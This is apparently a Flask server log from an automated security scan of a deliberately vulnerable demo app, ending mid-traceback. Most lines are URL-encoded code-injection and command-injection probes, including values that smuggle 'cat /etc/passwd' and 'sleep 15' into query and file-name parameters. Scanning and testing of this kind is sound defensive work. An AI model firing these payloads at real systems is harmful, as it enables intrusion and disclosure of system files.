172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=k&name=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=k&name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=response.write%28100%2C000*100%2C000%29&name=Frigg HTTP/1.1" 200 -
[2017-10-18 08:05:15,371] ERROR in app: Exception on /xss2 [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 54, in xss2
    return template('xss2.html')
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 12, in template
    content=re.sub('\$name', name, data)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 155, in sub
    return _compile(pattern, flags).sub(repl, string, count)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 286, in _subx
    template = _compile_repl(template, pattern)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 273, in _compile_repl
    raise error, v # invalid expression
error: bogus escape (end of line)
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=k&name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=k&name=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=k&name=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=k&name=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=k&name=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=k&name=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=k&name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D HTTP/1.1" 200 -
[2017-10-18 08:05:15,390] ERROR in app: Exception on /xss3 [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 58, in xss3
    return template('xss3.html')
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 12, in template
    content=re.sub('\$name', name, data)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 155, in sub
    return _compile(pattern, flags).sub(repl, string, count)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 286, in _subx
    template = _compile_repl(template, pattern)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 273, in _compile_repl
    raise error, v # invalid expression
error: bogus escape (end of line)
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=k&name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=k&name=response.write%28100%2C000*100%2C000%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=k&name=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=k&name=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=k&name=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=k&name=response.write%28100%2C000*100%2C000%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=response.write%28100%2C000*100%2C000%29&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=k&name=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=k&name=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=k&name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B&name=Loki HTTP/1.1" 200 -
[2017-10-18 08:05:15,586] ERROR in app: Exception on /xss4 [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 62, in xss4
    return template('xss4.html')
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 12, in template
    content=re.sub('\$name', name, data)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 155, in sub
    return _compile(pattern, flags).sub(repl, string, count)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 286, in _subx
    template = _compile_repl(template, pattern)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 273, in _compile_repl
    raise error, v # invalid expression
error: bogus escape (end of line)
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=k&name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=response.write%28100%2C000*100%2C000%29&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=k&name=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=k&name=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=k&name=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=k&name=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=k&name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=k&name=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B HTTP/1.1" 200 -
[2017-10-18 08:05:15,609] ERROR in app: Exception on /xss5 [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 31, in xss5
    return template('xss5.html')
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 12, in template
    content=re.sub('\$name', name, data)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 155, in sub
    return _compile(pattern, flags).sub(repl, string, count)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 286, in _subx
    template = _compile_repl(template, pattern)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 273, in _compile_repl
    raise error, v # invalid expression
error: bogus escape (end of line)
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=k&name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss4?a=k&name=response.write%28100%2C000*100%2C000%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=k&name=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=k&name=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=k&name=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss5?a=k&name=response.write%28100%2C000*100%2C000%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%26cat+%2Fetc%2Fpasswd%26 HTTP/1.1" 200 -
[2017-10-18 08:05:15,650] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html&cat etcpasswd&'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%26cat+%2Fetc%2Fpasswd%26 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%3Bcat+%2Fetc%2Fpasswd%3B HTTP/1.1" 200 -
[2017-10-18 08:05:15,652] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html;cat etcpasswd;'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%3Bcat+%2Fetc%2Fpasswd%3B HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%22%26cat+%2Fetc%2Fpasswd%26%22 HTTP/1.1" 200 -
[2017-10-18 08:05:15,655] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html"&cat etcpasswd&"'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%22%26cat+%2Fetc%2Fpasswd%26%22 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%22%3Bcat+%2Fetc%2Fpasswd%3B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%27%26cat+%2Fetc%2Fpasswd%26%27 HTTP/1.1" 200 -
[2017-10-18 08:05:15,666] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html";cat etcpasswd;"'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%22%3Bcat+%2Fetc%2Fpasswd%3B%22 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%27%3Bcat+%2Fetc%2Fpasswd%3B%27 HTTP/1.1" 200 -
[2017-10-18 08:05:15,669] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"xss2.html'&cat etcpasswd&'"
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%27%26cat+%2Fetc%2Fpasswd%26%27 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%26sleep+15%26 HTTP/1.1" 200 -
[2017-10-18 08:05:15,671] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"xss2.html';cat etcpasswd;'"
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%27%3Bcat+%2Fetc%2Fpasswd%3B%27 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%3Bsleep+15%3B HTTP/1.1" 200 -
[2017-10-18 08:05:15,679] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html&sleep 15&'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%26sleep+15%26 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%22%26sleep+15%26%22 HTTP/1.1" 200 -
[2017-10-18 08:05:15,682] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html;sleep 15;'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%3Bsleep+15%3B HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%22%3Bsleep+15%3B%22 HTTP/1.1" 200 -
[2017-10-18 08:05:15,685] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html"&sleep 15&"'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%22%26sleep+15%26%22 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%26sleep+%7B0%7D%26 HTTP/1.1" 200 -
[2017-10-18 08:05:15,687] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
